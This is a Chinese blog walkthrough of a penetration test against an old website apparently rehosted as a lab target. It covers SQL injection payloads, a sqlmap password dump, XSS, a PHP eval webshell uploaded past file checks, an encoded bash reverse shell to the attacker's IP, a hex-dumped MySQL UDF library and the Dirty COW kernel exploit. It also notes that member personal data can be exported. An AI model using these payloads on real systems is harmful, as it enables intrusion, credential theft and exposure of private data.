rev1ve's blog
0%

记录渗透某远古网站

发表于 更新于 分类于 阅读次数： Valine：

网站来源是从大陆对面扒下来的，应该是十年前的所以比较老。但是也算是一次比较系统的渗透测试，非常适合初学者。

记录渗透某远古网站

环境配置

攻击机：kali2023

靶机：ubuntu

信息搜集

nmap扫下端口

1
sudo nmap -sS -sV -v --min-rate=10000 -p1-10000 192.168.132.140

扫描结果如下

1
2
3
4
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

开放了80端口，访问一下发现是某文创园的主页

网站的8080端口是tomcat中间件，访问可以看到tomcat搭建成功

扫下目录

1
dirsearch -u http://192.168.132.140/ -i 200,301

发现泄露了很多路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Target: http://192.168.132.140/

[12:34:35] Starting:                                                                                                                        
[12:34:35] 301 -  246B  - /js  ->  http://192.168.132.140/js/               
[12:34:47] 200 -    2KB - /ajax                                             
[12:34:49] 301 -  248B  - /back  ->  http://192.168.132.140/back/           
[12:34:50] 200 -    4KB - /cal                                              
[12:34:51] 301 -  250B  - /classes  ->  http://192.168.132.140/classes/     
[12:34:51] 200 -  603B  - /classes/                                         
[12:34:51] 301 -  250B  - /config  ->  http://192.168.132.140/config/       
[12:34:52] 200 -  586B  - /config/                                          
[12:34:54] 200 -    2KB - /download/                                        
[12:34:54] 301 -  251B  - /download  ->  http://192.168.132.140/download/   
[12:34:55] 301 -  246B  - /en  ->  http://192.168.132.140/en/               
[12:34:56] 200 -    1KB - /favicon.ico                                      
[12:34:56] 200 -  882B  - /footer.php                                       
[12:34:56] 200 -  882B  - /footer                                           
[12:34:58] 200 -  851B  - /header                                           
[12:34:58] 200 -  851B  - /header.php                                       
[12:34:58] 301 -  248B  - /htdocs  ->  http://192.168.132.140/htdocs/       
[12:34:58] 301 -  250B  - /images  ->  http://192.168.132.140/images/       
[12:34:58] 200 -    6KB - /images/                                          
[12:34:59] 301 -  250B  - /include  ->  http://192.168.132.140/include/     
[12:34:59] 200 -  497B  - /include/                                         
[12:34:59] 200 -    6KB - /index.php                                        
[12:35:00] 200 -  672B  - /js/                                              
[12:35:01] 200 -    4KB - /login.php                                        
[12:35:01] 200 -    4KB - /login                                            
[12:35:01] 200 -    4KB - /login/admin/                                     
[12:35:01] 200 -    4KB - /login/admin/admin.asp
[12:35:01] 200 -    4KB - /login/
[12:35:01] 200 -    4KB - /login/administrator/
[12:35:01] 200 -    4KB - /login/cpanel.html
[12:35:01] 200 -    4KB - /login/cpanel.js
[12:35:01] 200 -    4KB - /login/cpanel.jsp
[12:35:01] 200 -    4KB - /login/cpanel.php
[12:35:01] 200 -    4KB - /login/login
[12:35:01] 200 -    4KB - /login/cpanel/                                    
[12:35:01] 200 -    4KB - /login/cpanel.aspx                                
[12:35:01] 200 -    4KB - /login/super
[12:35:01] 200 -    4KB - /login/index                                      
[12:35:01] 200 -    4KB - /login/oauth/                                     
[12:35:01] 200 -    1KB - /logout                                           
[12:35:01] 200 -    1KB - /logout.php                                       
[12:35:01] 200 -    1KB - /logout/                                          
[12:35:03] 200 -    2KB - /menu                                             
[12:35:05] 200 -  161B  - /path/                                            
[12:35:05] 200 -  161B  - /path/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf
[12:35:08] 200 -   84B  - /proxy                                            
[12:35:08] 200 -   84B  - /proxy/                                           
[12:35:10] 200 -   20B  - /sendmail                                         
[12:35:13] 200 -    4KB - /style                                            
[12:35:13] 200 -  189B  - /submit                                           
[12:35:14] 200 -  243B  - /test                                             
[12:35:14] 200 -  243B  - /test.php                                         
[12:35:14] 200 -  509B  - /test.html                                        
[12:35:14] 200 -  243B  - /test/                                            
[12:35:14] 200 -  243B  - /test/reports
[12:35:14] 200 -  243B  - /test/tmp/                                        
[12:35:14] 200 -  243B  - /test/version_tmp/                                
[12:35:15] 200 -  126B  - /tn                                               
[12:35:19] 200 -    5KB - /wwwlog

外网打点

SQL注入漏洞

注入点一

漏洞点在/back/index.php

开始是尝试爆破弱口令，这里kali的burpsuite爆太慢了就换成物理机的。没爆出来但是无意间测出存在sql注入漏洞

爆下字段数

1
account=1' order by 1,2#&password=1

根据回显不同得到字段数为2

后面爆破库和表名没成功

注入点二

其他的注入点都在/back/content.php，经过测试带有查询功能的管理系统都存在sql注入漏洞

下面列举几个，注入的payload不同在于字段数不同

园区公告管理系统

1
1%' and 1=2 union select 1,VERSION(),3,4,5,6#

租借管理系统

1
1%' and 1=2 union select 1,VERSION(),3,4,5#

商家资讯管理系统

1
1%' and 1=2 union select 1,VERSION(),3,4#

库名爆出来为tcic，尝试继续爆破表名，结果报错了

1
1%' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema= database(),3,4#

最后还是选择使用sqlmap（害本人能力有限）

1
sqlmap -u "http://192.168.132.140/back/rent_list.php?kw=1&button42=%E6%9F%A5%E8%A9%A2"   --cookie="PHPSESSID=f45haga2s95hol9ib2ljq4q002" -D tcic -T tcic_account -C "id,account,name,password" --dump

最后也是跑出用户列表上用户的密码

弱口令漏洞

前面进行burpsuite爆破的时候，注意到存在sql注入漏洞

直接使用万能语句成功登录，不过需要注意我们右上角其实并不是admin用户

1
2
admin' or 1=1#
1

并且这里用户名带有#会影响我们进一步测试，因为这些功能点很多都是通过sql语法插入数据的

收集下账户管理系统的用户名

1
2
3
4
5
6
sccp
Maggie
Shelly
Peggy
Fina
admin

这里拿上面收集的用户名去弱口令测试，在测试Maggie的时候出现302跳转

测出Maggie用户的密码为0000，成功登录

个人信息泄露

会员管理系统下可以查看会员列表，泄露了个人隐私信息

这里可以导出表格涉及一千多人，包括邮箱，姓名，住址等

XSS注入漏洞

在/back/content.php路径下的电子报管理系统，观察到有类似留言功能

直接使用最简单的payload，成功触发xss漏洞

1
<script>alert(1)</script>

F12将元素指向我们添加的地方，恶意代码成功注入

文件上传漏洞

这个网站文件上传的洞挺多的，大致利用方法都一样

上传点一

漏洞点在/back/content.php路径下的首页管理系统

我们在本地创建shell.php写入恶意代码（这里添加文件头绕一下检测）

1
2
GIF89a
<?php eval($_POST['shell']);?>

然后上传文件即可

上传成功后点击编辑，F12查看图片存放的路径

访问成功命令执行

上传点二

漏洞点在/back/content.php路径下的成果展演管理系统，上传前面创建的恶意php文件

上传成功后，还是一样F12看下图片存放的路径

也可以命令执行

权限提升

直接反弹shell就可以

1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMi4xMzgvMTAyOCAwPiYx|base64 -d|bash

本地开启http服务后，在靶机wget把linpeas下载下来自动化扫描

1
2
3
4
5
6
7
攻击机:
python3 -m http.server 80

靶机:
cd /tmp
wget http://192.168.132.138/linpeas.sh
chmod +x linpeas.sh     //赋予权限

扫描结果是存在python2版本的，提升下shell权限及稳定

1
2
3
4
python2 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z 将 shell 置于后台
stty raw -echo; fg

尝试一 udf提权

扫出来mysql数据库密码，跟进一下文件

成功找到账户密码

1
member:member123

mysql进行登录

1
mysql -u member -p -h localhost

尝试udf提权，看下是否满足条件

1
2
show variables like '%secure_file_priv%';
show variables like '%plugin%';

说明读写不做任何限制，那么利用sqlmap自带的动态链接库

1
2
cd /usr/share/sqlmap/extra/cloak
sudo python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

得到so文件后放到cyberchef转成十六进制

执行写入文件

1
SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udff.so';

不过权限不够失败了（猜测应该跟mysql服务启动者为root有关）

尝试二 内核漏洞

查看内核版本

1
uname- a

我们在exploit-db找下对应内核漏洞

1
searchsploit linux 3.2.0 ubuntu

符合的就只有33589.c和34134.c的，分别测试下

第一个33589.c编译成功，但是执行不了

第二个34134.c编译就直接报错

这里又在网上查了下，找到脏牛内核漏洞 CVE-2016-5195

exp地址：https://github.com/FireFart/dirtycow

由于靶机没有gcc环境，我们在本地编译上传，执行exp后会发现靶机的glib版本过低。那么可以使用-static参数生成一个静态链接，然后开启http服务上传到靶机上

1
gcc -pthread dirty.c -o dirty -lcrypt -static

赋予可执行权限后执行脚本，输入我们需要创建用户的新密码

1
./dirty1

创建好用户后，ssh连接成功拿到root权限

参考文章